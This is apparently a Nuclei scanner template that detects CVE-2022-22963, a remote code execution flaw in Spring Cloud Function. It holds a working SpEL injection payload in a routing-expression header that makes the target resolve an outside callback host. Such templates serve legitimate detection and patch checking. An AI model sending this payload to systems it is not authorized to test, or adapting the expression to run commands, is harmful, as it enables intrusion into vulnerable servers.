id: CVE-2022-22963

info:
  name: Spring Cloud Function SPEL RCE
  author: Mr-xn,Adam Crosser
  severity: critical
  description: |
    In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
  reference:
    - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
    - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
    - https://tanzu.vmware.com/security/cve-2022-22963
    - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
    - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22963
    cwe-id: CWE-94
  tags: cve,cve2022,springcloud,rce

requests:
  - raw:
      - |
        POST /functionRouter HTTP/1.1
        Host: {{Hostname}}
        spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}")
        Content-Type: application/x-www-form-urlencoded

        {{rand_base(8)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: status
        status:
          - 500